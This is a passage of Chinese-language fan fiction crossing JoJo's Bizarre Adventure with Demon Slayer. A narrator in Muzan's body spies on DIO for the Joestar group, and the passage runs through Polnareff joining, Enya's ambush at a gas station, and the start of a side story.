虽然一开始他接受到暗示,明白了面前这家伙可能被种下DIO的肉芽,不是出于本心而行动。但是,把他的替身[红色魔术师]叫作[火鸡]。
这点!绝不原谅!
看着他们离去的身影,我们也准备跟上。
“你的脸色似乎不太好啊?”花京院典明走在“月彦”身边,低头问着。
虽然这张脸本就惨白异常,但是他从那下垂的眼角和游移的目光能看出一些心情低落的征兆。
“花京院,我问你,阿布德尔先生的替身名究竟是什么呢?”旁边的人的声音倒是很平静,只是眼神有些麻木了。或许只是觉得那个[火鸡]太奇怪了吧。
“是[红色魔术师]。”听到回答后,花京院典明却察觉到旁边的人眼神更加呆滞了。
竟然和我编的替身名差得十万八千里吗?
可恶,我本来想要直接跑路而形成的全障碍阅读情报究竟还要给我捅下多大的篓子?
*
我们来到了一个废弃的石料厂,波鲁那雷夫和阿布德尔在这边进行对战。
波鲁那雷夫的替身十分强劲,他超高的西洋剑术一开始逼得阿布德尔节节败退,他甚至在战斗中闲适将一个石像雕刻成了阿布德尔的替身形象。
但是阿布德尔的[火鸡],阿不,是[红色魔术师]最终运用火焰操纵将被雕刻的石像伪装成替身先做第一波攻击诈骗了波鲁那雷夫,然后将自己的替身隐藏在火焰中绕后攻击,最终使波鲁那雷夫在火焰形成的场域中力竭倒地。
我默默围观着,设想他们作为对手了话该如何应对,最后不得不深表遗憾--不是吧,难道就只有我一个肉搏派吗?这种替身一般的超能力不能分给我点吗?我被箭扎伤究竟算什么啊?
边看边吐槽,我们围观着力竭的波鲁那雷夫在阿布德尔转身,明明有机会,却依旧选择不偷袭,在火场中默默闭上了双眼。
“看起来确实是个光明磊落的人。”乔瑟夫·乔斯达的眼中映出火场那个不再动弹的身影,转头看向阿布德尔,“差不多了吧。”
“确实”,阿布德尔收回了火焰,又看向空条承太郎,“现在就到承太郎上场了。”
我屏住了呼吸,看着空条承太郎顺利地从波鲁那雷夫的额间拔出DIO的肉芽。在完全离开波鲁那雷夫体内的时候,肉芽在阳光的照射下泯灭成灰。
波鲁那鲁夫随之在几秒后,睁开了眼。空气中还有着烟熏火燎的气息,身下是还带着温度的石板,周围看起来一片荒凉。
而他的身边,一群人围着他,目光简直就像x光一样细细扫描着他的所有肌肤!
“果然,不是啊。”他们盯着他的眼珠,又看着他的表情,最终,齐齐发出这样的结论。
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波鲁那雷夫猛地跳了起来,只觉得头皮发麻,“什么不是啊,你们到底在说什么?”这样的场景简直像什么xie教献祭现场,又或者像是对他波鲁那雷夫大人健硕美妙的rou体垂涎三尺。
他被吓得一个机灵,一时间想起了一切,从找寻杀害妹妹的替身使者的线索而来到开罗被DIO控制,到刚刚死战中被放过,那段被DIO控制的记忆再慢慢恢复。
“我虽然很感谢你们帮助我摆脱了DIO的控制。但是,我对男人完全没有兴趣,你们把那些变态的爱好拿得离我远一些吧!”波鲁那雷夫捂着胸口,咬牙发出怒吼,却没有得到回应。
他一睁眼,却发现那群家伙早已经走远了。
不是,喂,等等,这算什么意思?
*
波鲁那雷夫,这位剑术高超的法国男人还是加入了队伍,他的理由是要找到杀害他妹妹的替身使者--一个长着两只右手的替身使者。
不过,很快,他的理由就不再是这个了。
长着两只右手,这点与之前[倒吊男]的替身使者特征不谋而合。
在核对了案件细节,找spw调查后,[倒吊男]几百起罄竹难书的罪行展现在了我们眼前。
所有人的心都因面前流着痛苦又愤怒的泪水的这位受害者的兄长而动容。
他已经花了十年的时间,通过凶手留下的一点点蛛丝马迹而四处追寻,从欧洲到亚洲又最终来到了开罗,甚至还因此被dio植入了洗脑的肉芽。
而命运最终以一种巧妙的方式将凶手重新交给他审判。
“请。”乔瑟夫·乔斯达将装着替身镜子碎片的盒子放在了波鲁那雷夫的手上,看着他走向那个关押着畜牲的房间。
波鲁那雷夫即使被愤怒所充斥着,他依旧选择了与那畜生进行对决而非单方面的蹂躏,在密闭的空间中,他的嘶吼如同愤怒的野兽,久久无法散去。
陪伴自己多年的西洋剑刺入那畜生的脑袋中,眼前的血液飞溅、濒死的惨叫仿佛都离波鲁那雷夫远去了,他好像又回到了送妹妹出门的那天,妹妹笑着和他撒娇,约定着晚上一起吃饭。
该死的畜牲已经消失了,妹妹的灵魂终于得到了解脱。那么,在某个时空里,妹妹是否在那天能高高兴兴地回来,再和他一起吃饭呢?
波鲁那雷夫的视线变得模糊,他在刚刚的搏斗中也受了伤,再加上今日和阿布德尔作战,他的身体早就精疲力尽了。
房间的门打开了,有人进来扶住了他,波鲁那雷夫睁眼,看到的是阿布德尔。他的身后还站着其他人,唯独那个脸色苍白的男人不知所踪。
波鲁那雷夫用着最后的力气,表达着自己的决心“拜托,我想一同前往开罗打败dio。”
不论是感激他们抓住了侮辱了他妹妹的凶手,还是他性格中对于DIO的邪恶和践踏了自身尊严的厌恶,他都想和这群人一起,一起去打败DIO。
不过,这些我都没亲眼看到,而是靠花京院典明转述的。
我现在正干着我的日常任务。
“DIO大人,现在乔斯达一伙人他们的动向是……”
还没等我九分真一份假地输送全障碍情报,我就被打断了。
“月彦,你有向我隐瞒什么吧。”电话另一头,DIO的声音冷酷地肯定着。
63.出发
电话那头陷入了沉默。
但是DIO显然不打算打破先打破这份沉默。
他的面色看起来比之前更好了,脖颈处的伤痕也淡了许多。
他正坐在自己椅子上。
他经常坐在这里,椅子很舒适,适合歪歪地躺着看书。此刻,他也是倚靠在皮质的椅背上,腿交叉着,头搁在椅背上。
如果不是恩雅怀疑“月彦”背叛了她,他现在可能还会悠闲地看着书。虽然以他这具身体的反应,他能察觉到乔斯达家的血脉依旧存活,甚至还在向他靠近。
但是他已经埋下了秘密武器,在这敌明我暗的棋局上他已经准备了充足的后手。因此,乔斯达家胆敢向他靠近只是加速了他们自己的毁灭。
他并不担心,直到恩雅的话。
电话那头依旧没有回答,只有略显慌乱的呼吸声清晰传来,就像隔着电话握住了她跳动的心脏。似乎只要这边传来一丝不渝和愤怒,就能将其心脏捏碎。
恩雅在一旁,背对着DIO,身子不断地颤抖着。她手里紧紧攥着[倒吊男]的塔罗牌,涕泗横流。那张浑浊的眼睛里透出极其强烈的恨意。
谁!谁杀死了她可爱无辜的儿子。她的儿子还这么小,是个非常好的孩子,竟然有人忍心夺去他的生命。
她都已经告诉了自己的儿子直接挑软柿子的弱鸡空条承太郎捏,他还怎么会遭遇不幸呢?乔斯达们竟然如此恶毒!
恩雅此刻全然忘记了自己所谓的“可爱无辜”的孩子手底下残害了多少无辜少女的性命。或许她根本没忘记,只是全然把它当作了极其普通的事情。而当她的儿子只是遭遇了那些受害者百分之一的痛苦时,她却恨不得撕咬着一切。
这一切,当然也包括那个月彦。她如果一直紧紧盯着乔斯达一伙人,为什么不救下她的儿子,为什么不以命抵命为他儿子换取一条生路呢?
还有她给的情报,绝对,绝对,有问题!
恩雅转过身,试图将面色变得平静,但这点对她显然十分困难,她只能面色扭曲地紧紧盯着那台电话机,似乎目光能顺着电话线将“月彦”直接绞杀。
“DIO大人,您发现了?!我不是有意的!”对面的声音慌乱了起来,带着一种懊悔。
果然和她猜测的一样!这个该死的月彦,这个脱离了她预料的家伙,她会永远诅咒月彦让她饱受折磨地死去。
恩雅眼中迸发出惊喜的光芒,她一步冲到DIO的脚边,正准备开口让DIO大人处决这位该死的敢向DIO隐瞒信息的背叛者,就被DIO抬手制止。
“哦~月彦。”DIO收回了低头看恩雅的视线,眼睛眯起,眼中有危险的暗光流动。只是他的声音却与现在的表情相反,有一种带着蛊惑的温和假象,让人会不自觉想要放松心房,袒露自己的一切。
电话那头的人似乎也被蛊惑,她小心翼翼,一个字一个字地吐露自己隐瞒的事,但是恩雅的脸却渐渐变黑,她的指甲狠狠插进自己的肉里,试图让自己表现的平和一点。
就在上午,DIO已经处决了多名替身使者,他以雷霆手段震慑了那群家伙。无论是真心臣服,还是贪图利益,都在DIO染着鲜血的唇角下沉默了。恩雅的举报是具有风险的,但是他想赌。
DIO不急,因为他放下了秘密武器。可是DIO又很急,因为秘密武器的爆发需要他自己的快速恢复。
而现在,在电话那头胆怯的显得有些懦弱的声音中,DIO的又变得平和了起来。一切都在他的掌握之中。
因为“月彦”确实隐瞒了信息,但是这根本谈不上背叛。
听着电话那头还在小心翼翼地忏悔[跟踪承太郎进豪华餐厅时给自己点了豪华套餐]、[发现乔斯达家突然赶往埃及时没买机票就混上飞机]、[因为担心过于耗费体力而不能及时捕获情报所以打了很贵的出租车]等等,这些窝囊的行为几乎让DIO开始不耐烦了起来。
他都开始怀疑自己之前探查的邪恶气息是否其实是一种伪装的窝囊,她的贪婪的邪恶难道就是在占小便宜上吗?
不过不管怎么说,她的体内还存在着肉芽,这说明她在遇见承太郎后必定挣扎逃脱了,现在也一定是隐蔽着替他观察。她的忠心毋庸置疑,因为肉芽无人能抗拒。
而且她的作用也暂时无人能取代,作为自己完美的“替身”躯壳,现在,她还不能出事。虽然,他现在还不能完美掌握那具身躯。
不过....
“好了,月彦,这点小事不要再向我汇报了。作为我的“眼”,你要聚焦一些关键的信息。对了,拿出你身边的纸笔。”
“感谢DIO大人!我马上.....好了,我拿出纸笔了!”
我看着自己腕上配置的地摊货手表,拿着纸笔,等着电话那头的回复。
电话那头没有回复,我的身体又有一种熟悉的像是有什么东西在爆发的感觉。
不会吧!
我喘着口气,感觉整个人从窒息的状态中脱离。
我看向与刚刚一致的表盘,又看向手上纸上突然多出去的几行文字。
只觉心底发寒。
DIO,究竟对我的身体控制到什么地步了?而且留下饿这些文字,该说果然是DIO吗,好恶毒残忍的计策啊…
不过,话说回来,我刚刚,好像在看见DIO的动作,是错觉吗?
DIO依靠着椅子,睁开眼睛。
果然,他现在对于那具身体还无法灵活穿梭自如。每天至多能占据三回,而每次的时间最多5s。
不过,这相当于完美的后路。不管怎样都不能轻易舍弃。
所以啊。
“恩雅,我能理解你的痛心,失去了J·盖尔也是我们的遗憾,不过,这并不是月彦的问题。”
“是的,DIO大人,我明白,我......明白。”恩雅紧紧咬着牙,从牙缝中透出了话里显示着退让,只是她的泪水中的愤怒却无法抑制。
她相信dio大人肉芽的控制力,可是,她绝不能忍受那个“月彦”。她这样的无所作为、窝囊无疑是将自己可怜的孩子推
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入了乔斯达他们的魔爪中!
绝不原谅!
恩雅收回视线,低下头,“dio大人,我会为您带来荣耀的。既然我的儿子失利,这回将由我恩雅为您打败他们。”
“我相信你,恩雅。”DIO的眼落在恩雅的身上,有些晦涩不明。
*
“咦,他回来了吗?快来一起吃饭吧。”波鲁那雷夫坐在餐厅的椅子上,冲我招了招手,看起来已经恢复得很好了。
“而且点的好像太多了,你快来吃一点吧。”
波鲁那雷夫才刚放下了手,正和旁边的花京院典明说了点什么,就发现桌上的一部分菜在以一种可怕的速度消失。但是身旁的人都是云淡风轻的表情,看起来见怪不怪吧。
不是吧,这个男人,这个脸色惨白男,肚子里是有异次元吗?他是什么饿死鬼投胎吗?
我看见波鲁那雷夫连饭都不吃了,一手拿着叉子,一边张着嘴,滴溜溜地盯着我。看着他的叉子都快插进鼻孔里了,我不得不放下刀叉,停下进食。
中午我可还没吃饱呢。
“好啦,波鲁纳雷夫,别再盯着人家了,他只是一个可怜的过路的旅人。”乔瑟夫·乔斯达趁着这个间隙,开始介绍了起来。
我看着花京院典明趁机向我眨了眨眼睛,顿时明白了过来。
我必须承认乔瑟夫·乔斯达安排地非常妥帖,就以这位法国男人说话很多时候不过大脑的性格,一旦我与乔瑟夫一行人作为同伴的信息被dio得知,那可不是三言两语能解决事情。
不过现在,在dio的视角下,我还能装作是为了观察情报来接近他们。之后的战斗,如果我直接帮助他们作战,留有一个活口给dio报信,我都将遭遇巨大的危险。
“不过,乔斯达先生,这家伙真不是来骗吃骗喝的吗?”波鲁那雷夫像是大梦初醒,忍不住惊声叫了起来。
老实说,听见他这么骂我的心里只有一个感觉--爽,毕竟这位法国男人骂得只是鬼舞辻无惨的皮囊。
所以我也极其愉快的配合表演,“什么啊,我只是被抢了钱所以求助这些好心的先生罢了,老实人的事怎么能算骗吃骗喝呢?”
我十分无赖地挑了挑眉,摊了摊手,不再看脸红起来都想来打我的波鲁那雷夫。
“话说回来,乔斯达先生,你们什么时候出发呢?一定要记得带上我啊,我总有种预感,旅途会非常刺激啊。”
除了波鲁那雷夫还在状况外,其他的人都沉默了一瞬。
“你的预感,又来了吗?”空条承太郎看了过来,顺手点了点自己的锁骨。
“这种东西我暂时无法控制,不过,应该并不频繁,虽然已经有了两次这样的预感了。”我这回是真心实意地叹了口气。
这回,还得演绎碟中谍呢。
*
开罗的公馆内。
DIO从旁边的书本上抽出了书签,那张原本空白的塔罗牌上显现,世界半透明的样子在其中显现。
果然,那是我最完美的替身。
64.正义(1)
飞机坠机显然给大家造成了不小的心理阴影。
首先,如果没有乔瑟夫·乔斯达极限操纵飞机的驾驶技术,我们估计会直接随着飞机坠落化为一地残害。
再者,公共交通工具的波及范围实在是太广了。DIO手下的替身使者并非什么善茬,只要能成功带走乔斯达们的性命,顺手杀死一些路人在他们看来实在是一件不值一提的小事。
因此。
“快来看看,我新买的这辆越野车。”乔瑟夫·乔斯达神气十足地展示着一辆漂亮的越野车。波鲁那雷夫对这辆车眼馋不已,一直兴致高涨地摸着车。
这是辆6座越野,外形看起来十分炫酷,就连玻璃都属于特质的防弹玻璃。
至于怎么在一晚上就能弄到这种车,我只能说,spw财团简直无所不能。
再经过一晚的休整后,今晚,我们就要出发前往下一个地点了。
从这里到开罗,如果顺利了话,或许至多只要15天的时间,这样完全来得及拯救空条承太郎的母亲、乔瑟夫·乔斯达的女儿--贺莉小姐。
而仅仅是体内残存的肉芽,我也能在15天内用鬼舞辻无惨的细胞将其完全吞噬。不过现在我实在是拿不准将肉芽完全吞噬的后果,究竟是会完全丧失自己的身体还是能摆脱DIO的控制。
所以,不管怎么说,还是将DIO泯灭才是最保险的办法啊。
我叹了口气,察觉到有人从背后向我靠近。一转头,是花京院典明。
“马上可以出发了哦,月--”花京院典明说道一半,似乎有些困扰。
“没关系哦,怎么称呼我都行,好心人。名字只是一种代号罢了,对于一个过路的旅人这根本无足轻重。”
我将手上刚从自动贩卖机里买的冰水递给花京院典明,突然想到了什么,“不过如果是要发锦旗了话上面的姓名绝对不要写上''月彦''。”
毕竟,鬼舞辻无惨可不配与什么好人好事相关。
递过来的冰水杯壁带着凉气,空气中的水汽在上面凝结成了小水珠。水珠在花京院典明的手心滑过,带来奇妙的凉意。他看着面前提到''月彦''表情微妙的人,忍不住有些好笑。
这时她第一次几乎是明示这点。
虽然之前他也发现过,如果有人训斥''月彦'',她就会表情有些古怪,比起被莫名其妙教训的不满,她的脸上更像是一种掺和着幸灾乐祸的暗爽。
果然,''月彦''应该是她讨厌的什么人。虽然不知道这是为什么,不过。
“那么锦旗上应该写点什么呢?姓名处空着也不太好吧。”花京院典明打开了瓶盖,装作漫不经心地这么问着。
旁边没有说话。花京院典明给自己灌下了一口冰水。
“说的也是呢。”身旁的人摸了摸下巴,转过头来。她在看他。
“如果只是锦旗也就罢了,以后说不定还要涉及银行支票的收款人,这里是空白就不好了。”说起支票,她的声音里带上一种期许,视线似乎又转移到了天边。
所以应该填上什么呢?名字究竟是什么?说不好奇绝对是假的。
强大、神秘,这些都像猫爪轻轻触碰人的胸口,让人心痒痒。而且,现在那份神秘逐渐剥离了陌生、危险的面纱,那么,多了解一些也是可以的吧。
花京院典明转过眼,试图看看她现在的表情,刚好对上了她又转过来的视线。
“不过等到要写支票那天再说吧,我想应该不会远的。实在不行就先写上‘李’吧。”她说着,眉头却皱了起来,微微歪了歪头。
“花京院,如果你渴了话我就再买一瓶水好了。”
咦、为什么这么说呢?
花京院典明回过神来,顺着她的视线看到了自己的嘴边--那个塑料瓶中早已经没水了。他只觉自己的脸都快不受抑制地涨红了,刚刚太过专注于答案假装喝水,反而把水都喝完了还没意识。
这实在是太逊了。
“不用了.....”花京院典明微微侧过身,较长的刘海遮住了他的表情。
越野车旁波鲁那雷夫已经滴起了喇叭,“快上车,我们要出发了!”
我看了看手表,确实已经不早了。
“走吧。”我率先向前走去,忍不住抬头看了看天。
话说回来,今天有那么热吗?
*
越野车顺利地开在路上。波鲁那雷夫的车技还是不错的,再加上这辆车性能好、底盘稳,及时连续开了几个小时也不算难受。
虽然车上放了些三明治和零嘴,但也只是勉强充饥。人总是还要吃点正经饭的。就算再怎么想趁着Dio还没反应过来之前快点赶到开罗,但人不可能不需要休息和调整。
“话说,这边环境这么差吗?怎么风沙这么多?”波鲁那雷夫开启了雾灯、近光灯,将车窗升了起来。
外面,黄沙漫天。细密的沙尘像漫天的蝗虫席卷这片天地,沙子敲响了车的玻璃,雨刮器及时努力工作,但是车的事业上还是蒙上了一层沙画。而且,雨刮器与沙子的摩擦将挡风玻璃都刮出了细小的划痕。
“啊,太可惜了,这么好的车。”波鲁那雷夫看着都有些磨砂质感的挡风玻璃,心疼极了。
“乔斯达先生,我们干脆现在就去找个加油站加油顺便休整一下吧。说不定过一阵这个风沙就能过去了。”
“确实,这个油也不多了。”副驾的乔瑟夫·乔斯达看了看表盘,再看看窗外,下了决定。“好,那我们就在加油站暂时休整一下吧,顺便再买点东西进行补充。等到晚上,再找个旅店好好休息一下吧。”
车内的三明治和可乐也已经不剩多少了。他已经开始想念冰镇的可乐带来的美妙感觉了。而且,就那位的饭量,现在估计已经饿了吧。
乔瑟夫·乔斯达看着后视镜,“月彦”或者说是李的视线在镜中交汇,“确实差不多也到时候了。”
“是吧,你也觉得到了该休息的时候了。”波鲁那雷夫还在状况外,他看着路标上还有3km的加油站,兴奋了起来,一脚油门直冲过去。
迷蒙的风沙中,加油站的标志就像是黑夜灯塔十分显眼。越野车在加油站的便利店前一脚刹车停下,发出刺耳的声音。
“不是吧,波鲁那雷夫,干什么
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要突然急刹?”因为急刹猛地撞上了前面座位的阿布德尔捂着自己的头,向波鲁那雷夫抱怨。
“因为,前面突然窜出了一个人。”回答阿布德尔的不是波鲁那雷夫,而是坐在后面的空条承太郎。
“承太郎,难道是替身使者已经出现了吗?”坐在最后的花京院只能通过侧边窗户进行观察。
“不,不是。那应该只是一个普通老婆婆。”波鲁那雷夫赶忙停下车,关了发动机,打开车门跳下去。
“没事吧,老婆婆。”波鲁那雷夫赶忙扶起了倒在地上的老婆婆。
花京院典明慢一步下车,他看向我,“她是突然出现的吗?”
我摇了摇头。这个气息倒是一直在那里,没有什么隔空传送的那种感觉。
空条承太郎进行补充,“[白金之星]靠近了也才看到了她。”
“是因为比较矮,越野车又比较高,所以在这个能见度上远距离看不见吗?”花京院典明跳下车,放出了[法皇之緑],将[法皇之绿]的触手穿进了波鲁那雷夫和那位老婆婆之间,他的眼睛紧紧盯着老婆婆脸上的神情。
然而,那位老婆婆脸上表情不变,那双瞪大的眼睛被风沙迷住了似的,流出了不少眼泪,“哎呀,我的腰。”
“好了,花京院,别这样,她只是个可怜的老婆婆呢。”波鲁那雷夫不满地瞪了回去,小心地扶起了那个老婆婆。
一个穿着加油站员工制服的男人从加油站的便利店内跑出,对着波鲁那雷夫大喊,“你这家伙,对我老妈做什么呢?”
那是个有着黄色长发的男人,他并不瘦弱,但是脸上却有一种略微缺血的虚弱感,面颊微微凹陷。此时正指着波鲁那雷夫,破口大骂。
“哎,实在抱歉,我没看见这位老婆婆,您没受伤吧。”波鲁那雷夫紧张地看着老婆婆,见他摆摆手,忍不住松了一口气。
“但是我还是觉得不踏实”,波鲁那雷夫一把抱起那位老婆婆,“我们还是去附近的医院看看吧。”
“不不,等等,我觉得我还行。”那位老婆婆立马擦了擦眼泪,只是看着波鲁那雷夫表情有些扭曲。
“那我看你的脸色好像.....”乔瑟夫·乔斯达也上前来,看着这位老婆婆,“上了年纪还是要小心一点啊。”
空条承太郎也向前,几乎是要将波鲁那雷夫臂膀中的老婆婆围住了。
老婆婆脸上挤出了一个扭曲的笑容。那个众人隔开的黄发男人咬了咬牙,挤进去,将老婆婆从波鲁那雷夫怀中抢过,“别再折腾我老妈了。”
他边说,边将老婆婆往便利店内走去。
哎呀,便利店我还算熟悉,这可是没穿越前的最后一份兼职。
我刚下车,颇有些感慨。
“既然天气都这么差了,各位还是近来休息会吧,至少来买点什么吧。”那位老婆婆从黄发男人的身上下来,浑浊的眼睛扫过了每个人。
我能感觉她的眼在我身上多停留了一会。
看来,这就是纸上写的那位啊。
我老实得点了点头,比个了ok的手势。
你的队友已上线。
65.正义(2)
老婆婆,也就是恩雅,现在脸色难看得可怕。
波鲁那雷夫像一条跟屁虫一样黏在了恩雅的后面,一边嘘寒问暖,生怕之前倒在他车前的恩雅出了一点差错。
这样的热心法国小伙一般是比较讨老太太们喜欢的,嘴甜又热情。
当然,前提他不是手刃了j.盖尔的凶手,前提恩雅不是故意碰瓷的。
“真的没事吗?老婆婆,如果有一点不舒服一定要说,我马上就把你送去医院,老年人可耽搁不得啊.....”波鲁那雷夫蹲下身,仔细地打量着这位老婆婆,试图找到一些受伤的痕迹。
真是该死,波鲁那雷夫,竟敢那么对我那可爱的无辜的儿子。
他那死前的痛苦和不甘,通过了母子间的联系,让她全然感知。好恨呐!该死啊!
恩雅两手交握,指甲紧紧扎进了肉里,疼痛没有消减她的恨意,但是使她冷静了不少。不管多么想把波鲁那雷夫凌迟,恩雅面上还得装作一派慈祥和蔼的样子。
“我真的没事,现在天气这么恶劣,你们还是在这里休息一会吧,或者买点东西什么的,就当做照顾我这个可怜的老太婆的生意了.....”
恩雅都快装不下去了,面对杀子仇人还得虚与委蛇实在是太难了,她捂住了脸,转过身,试图躲过后面几人的目光。
该死,那个月彦怎么还在一脸蠢样地待在那群人中间,还不给她来打掩护吗?
哦呀,看起来这个眼神是在催促我表演呢?
我看着转过身的老婆婆,又看着总是向我投来目光的黄发男人,意识到了这点--该我上场了。
身边的乔瑟夫·乔斯达和阿布德尔还在小声地议论这究竟是碰瓷还是事故,又或者是替身使者的攻击呢?
听到替身使者,那个黄发男人脸色也不变,只是走到了柜台后面,“喂,你们这群家伙,撞倒我老妈就不打算在我们店里买点什么吗?”他敲了敲玻璃柜,指了指里面的东西。
花京院典明从我身后走了出来,低头看向柜中商品,“咦,这价格?”
波鲁那雷夫没听清,他以为自己不小心伤人内心早就充满愧疚之情,恨不得做点什么来弥补,听到这位老婆婆儿子的蛮横的发言,倒是没生气,甚至松了一口气。
“来来来,刚好我也饿了,就让我来买点什么吧,我看--”波鲁那雷夫挤在了花京院典明旁边,声音渐渐小了下去,整个人就像一只白色花枝鼠,大大的身躯蜷缩在柜前,变得安静极了。
乔瑟夫·乔斯达看这两人的样子,摸了摸下巴,也迈出步子,看看柜中有何种高妙。
他的视线飞快扫过柜中平平无奇的商品和那令人咋舌的价格,忍不住张大了嘴,“oh my god,喂,小哥,你们价钱真的没标错吗?就算是在公路旁,这个价格也是够离谱的。”
黄发男人抱着手,一点也不退让,身子探过了柜台。
“离谱,你说什么话呢?这可是我和老妈辛苦在这种破地方经营的店,你们这群撞倒我老妈的家伙还敢说我们店价格高,你下一步是不是还要说我们在宰客啊?”
空条承太郎本来坐在店内的座椅上,见此也要站起来理论几句。
眼看着就要闹起来了,正是我来出场和稀泥的时候了。
“哎呀哎呀,相聚就是缘分。能在这个天气在这里见面,我们应该珍惜这个缘分才对啊。”脸色苍白的男人插入了吵架的人中间,面上带着浅浅的微笑。
他的话,虽然牵强附会,但给了一个台阶,众人也就没什么意见了。
“说起来,各位也可以选择在这边吃午饭,当然了,价格不会像柜子里的东西那么贵的,也就像这位小哥说的一样吧,就当珍惜这段缘分。”恩雅看向我,又看了看乔瑟夫·乔斯达他们,脸上挂着慈爱温和的笑。
“唔,老婆婆,你人真好!”波鲁那鲁夫望着看起来和蔼的恩雅,抹去了自己眼角感动的泪水,又转头看向黄发男人,“既然这样,柜中的饮料给我来个几瓶吧!”
一时间,气氛变得和谐了起来。
收下了天价饮料钱的黄毛也直接将饮料瓶盖拧开,笑着将饮料递给了过去。
“唔,那就感谢波鲁那雷夫请客了。”阿布德尔笑着接过水,在黄发男人的注视下喝下了一口水,其他人也将水接过,顺手喝了一口。
恩雅见状露出了极其和蔼的笑,脸上的褶皱像树皮一样堆叠在一起,她伸手指向人群中的两人,“既然这样,我能麻烦两个小伙子一起来忙我处理一下菜吗?老太婆一个人做这么多人的菜还是有些困难啊。”
波鲁那雷夫转过身,看向被指的我,“当然可以啦,不过,你也行嘛?”
“当然,帮助这位女士是我的荣幸。”我在波鲁那雷夫身后,对着恩雅微笑,矫揉造作地躬身。
“那我们就走吧。”恩雅正把我们往后带去,却被空条承太郎打断。
“不过,这里还有能做饭的地方吗?”空条承太郎坐在座位上,抬头看向转身要向后面的恩雅。
恩雅刚想说什么,乔瑟夫·乔斯达却替她补充了,“哎呀,承太郎,你没听说过麻雀虽小,五脏俱全吗?他们一直在这里工作,肯定后面会有厨房的地方啦。”
被轻轻放过的恩雅点了点头,没在理会后面的人,将我和波鲁那雷夫带去了后面一个简易厨房的东西。
她给波鲁那雷夫分配了一个洗菜的活,自己则拿着一把小刀,在给蔬果削皮。我则是替她先将盘子准备好。
“外面的风沙也太大了吧。”波鲁那雷夫对着水龙头清洗着蔬菜,掰开菜梗仔细检查着里面是否有着泥沙。
厨房是个绝妙的环境,因为,在这里,有刀具的存在都显得十分合理。
所以,“噫!”波鲁那雷夫发出痛呼,看着扎在自己手上的小刀,皱起了眉头,“老婆婆,你削皮要小心点啊,刀怎么直接飞到这儿来了。”
那个伤口并不算深,但是确确实实存在着。
恩雅勾起了嘴角,连忙放下手中削到一半的菜,上前几步,“没事吧,我现在就来帮你处理一下。”
她的身高不高,所以看不出表情。波鲁那雷夫此时还没任何感觉,直到--上前的恩雅将那把小刀狠狠继续摁下,伤口直接形成了一个贯穿伤。
绝对不正常!
波鲁那雷夫张嘴,正打算发出预警,却发现自己的手死死地将嘴堵住了。
什么?
他的目光顺势看过去,却发觉厨房的门不知何时被打开,无数雾气打着转靠近,在恩雅的身后,形成了一个骷髅头一样的身影。而
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那个骷髅头旁一个小小的木偶出现。
这个老婆婆,竟然是替身使者!
波鲁那雷夫心惊,看向自己的手,他原先的伤口变成了一个标准的柱形伤口,截面上已经没有血在流。而他的身体,他的身体,根本无法控制住自己。
他的动作,随着那个木偶的动作在行动。
可恶,“银色战车!”波鲁那雷夫叫出了自己替身,覆盖着银色盔甲的替身拿着西洋剑闪亮出现,挥舞了一个漂亮的剑花,向前冲去。
只是,在剑尖就要触及恩雅时,一股莫名的力量传来,剑头直直转了一个方向,扎进了后头那个苍白黑发男的肩头。
?
“可恶,怎么会?”波鲁那雷夫咬了咬牙,试图控制住[银色战车],但是随着雾气形成的骷髅头后人偶的动作,[银色战车]的西洋剑从那男人体内拔出,以闪电般的速度再向其刺去。
面色苍白的男人的皱了皱眉,看着笑着的恩雅,忙不低地躲避着[银色战车]的西洋剑。该说是他运气好,还是怎么的,竟然除了一开始的那一剑突袭,他竟然躲过了所有的攻击。
那种超乎常人的敏捷简直叫人惊得掉下巴。
恩雅身后的木偶不在动作,她只是眯了眯眼,看着面前那个脸色苍白的男人站起了身,拍了拍自己身上的灰。
“老婆婆,攻击像我这样的路人这不是什么明智的选择哦。”但是和耍帅的这段话不一样,像是很苦恼的样子,那个脸色苍白的男人挠了挠头,随后举起了双手,一副老实投降的样子。
“呵。”恩雅从心底发出了一声嘲笑,她看着白着脸的波鲁那雷夫,又看看那位黑发男,又拿起了扎在波鲁那雷夫手上小刀,“路人,是啊,你是给自己这么定位的吗?”
“无视我可爱纯洁可爱的儿子,眼睁睁看着他被杀死的路人吗?”恩雅的手摸过刀上的血迹,面色阴沉,“别再装模作样了,你这该死的贱人,我会让所有伤害我儿子的家伙偿命,不,偿命根本不够,我可要狠狠地折磨你们。”
不是吧,连我也打?
我叹了口气,“可是这样子那位不会有意见吗?我可是在帮他办事呢?你没有问过他的建议吧。”
这可是职场霸凌啊,虽然我们组织结构烂到爆,但是这时候还是搬出领导抢救一下吧。
但是显然,对于能做出这件事的人,光是一个DIO的名头显然不起作用。
“呵,你居然敢拿DIO大人的名头威胁我,不需要你,我恩雅会为dio大人杀死乔斯达们,就用我的替身[正义]。而你这该死的贱人,就当在不敌乔斯达他们死去算了。”
毕竟,这个该死的月彦身上已经产生了伤口。只要有伤口并接触到组成[正义]的雾气,那么,她就完全会被她控制住,好好折磨致死。
恩雅说着,一时间,室内雾气更甚,我感觉有雾气想要顺着我被扎穿的衣服的孔中进入我的身体。
而另一处,雾气也顺着门缝钻进了便利店内,而那边,除了黄发男人,一群人已经闭上了双眼,歪扭八七地躺倒在地上。
“哎呀,陌生人给的水可不能乱喝啊。”
黄发的男人摇晃着柜中的瓶子,从口袋中掏出了一把手枪。有安眠药字样的包装说明书顺着他的动作掉在了地上。
66.鬼灭大正if1[番外]
“月彦先生,你怎么还在发着呆呢,难道是睡眠不足吗?”旁边温婉动人的年轻妇人放下了茶盏,关切地看向了旁边的男人。
这个被叫做“月彦”的男人有着海藻般柔顺的卷发,鬓前的卷发微长,让妇人看不清他的神色。
他的脸色始终苍白,像是终日贫血,本来让人有些害怕,但是他举止优雅,嘴角带着笑容,这点温和之意又冲淡了他身上的病气,叫人想要亲近。
月彦收回了看向角落的目光,只是目光温和地回望着妇人,“只是最近公司的事情有些忙,所以熬了会夜,你这么一说我倒是也觉得有些困了。”他冰凉的双手牵起了妇人的手,话中带着缱绻,“毕竟父亲正准备将公司医药相关的部分让我接手,我总得做出点表现,这样父亲大人才不会后悔将宝贝女儿交给我。”
男人俊美的面容,话中的情意让妇人羞红了脸,她倒是不觉得月彦的手冷,只是有些害羞地低下头,“月彦先生您真是的......西洋那边的药本来就很复杂,您还这么积极去接触,还是要保重身体,我还是不希望您过度劳累。”
月彦抽出了一只手,不动声色地瞄了一眼角落,摸了摸妇人的发顶,“说起来,之后家里可能要招待一些其他医药公司的人士,我们得举办个派对,家里的人还够用吗?”
